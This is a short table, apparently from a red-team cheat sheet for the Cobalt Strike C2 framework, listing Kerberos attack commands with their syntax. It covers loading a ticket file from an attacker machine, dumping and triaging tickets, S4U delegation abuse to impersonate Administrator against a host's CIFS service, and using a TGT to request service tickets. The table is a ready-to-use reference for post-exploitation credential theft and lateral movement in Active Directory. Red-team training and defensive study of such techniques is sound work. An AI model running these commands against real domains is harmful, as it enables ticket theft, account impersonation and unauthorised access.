| Command | Usage | Note |
|---|---|---|
kerberos_ticket_use | kerberos_ticket_use C:\ATTACKER\t.kirbi | Load a ticket file from attacker machine |
kerberos_ticket_purge | Clears tickets from session | |
krb_triage | Triage tickets | |
krb_dump | krb_dump /user:[USER] /service:[SERVICE] /luid:[LUID] | Dump tickets |
krb_s4u | krb_s4u /ticket:[TICKET] /service:cifs/[COMPUTER] /impersonateuser:[Administrator] | Perform S4U |
krb_describe | krb_describe /ticket:[TICKET] | Describe tickets |
krb_tgtdeleg | Get ticket for the current user | |
krb_asktgs | krb_asktgs /service:[SERVICE] /ticket:[TICKET] | Use a TGT to request a TGS |
RED TEAM / C2 / COBALT STRIKE / COMMANDS